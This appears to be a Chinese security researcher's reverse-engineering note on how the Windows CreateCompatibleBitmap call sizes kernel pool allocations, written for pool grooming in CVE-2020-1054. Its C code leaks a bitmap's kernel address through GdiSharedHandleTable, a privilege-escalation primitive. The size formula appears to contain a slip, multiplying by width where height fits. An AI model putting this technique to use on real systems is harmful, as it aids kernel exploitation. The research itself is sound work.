BitMap大小探索之CreateCompatibleBitmap
BitMap大小探索笔记
在分析CVE-2020-1054漏洞时,在占位过程中用到过CreateCompatibleBitmap函数,目标是构造一个0x70000大小的bitmap对象。
分析文章如下
https://bbs.pediy.com/thread-260884.htm
下面是CreateCompatibleBitmap的逆向笔记
CreateCompatibleBitmap逆向分析
该函数原型如下
HBITMAP CreateCompatibleBitmap(
HDC hdc,
int cx,
int cy
);
Parameters
hdc
A handle to a device context.
cx
The bitmap width, in pixels.
cy
The bitmap height, in pixels.
其调用流程如下
CreateCompatibleBitmap-->NtGdiCreateCompatibleBitmap-->GreCreateCompatibleBitmap-->hsurfCreateCompatibleSurface-->bCreateDIB-->AllocateObject(bCreateDIB+0x1f3)-->ExAllocatePoolWithTag
关键在于bCreateDIB的第二个参数,如下图第二个参数为结构体DEVBITMAPINFO指针,布局如下,可以看到此时传入的iFormat为1,cxBitmap和cyBitmap是我们传入的值
以iFormat为1基准,测试bitmap大小,如下图当iFormat为1,则会进行第一次运算,公式为:nResult==((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC);
向下继续走第二次运算
nResult==(((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC)*cxBitmap+0x238;
最终调用ExAllocatePoolWithTag如下图,传入的值为0x6f238,以0x1000字节对齐,申请的大小为0x70000
C语言验证代码
#include <Windows.h>
#include <stdio.h>
typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
WORD wRIPFlags;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
ULONG cHandleEntries;
} SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _LARGE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PVOID Buffer;
} LARGE_STRING, *PLARGE_STRING;
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ReservedBits0 : 27;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
} PEB, *PPEB;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
}TEB, *PTEB;
int main(int argc, char *argv[])
{
//exploit dc
HDC exploit_dc = CreateCompatibleDC(0x0);
PBYTE pExpBitmapObj = 0;
system("pause");
HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x6f000, 0x8);
printf("[+]hExploitBit Handle address: %p\n", hExploitBit);
PTEB Teb = NtCurrentTeb();
PPEB Peb = Teb->ProcessEnvironmentBlock;
if (Peb == NULL)
{
return FALSE;
}
printf("[+]Peb Pointer address : %p\n", Peb);
PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
if (GdiSharedHandleTable == NULL)
{
return FALSE;
}
printf("[+]GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);
//获取 漏洞对象 内核地址
pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));
printf("[+]dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);
};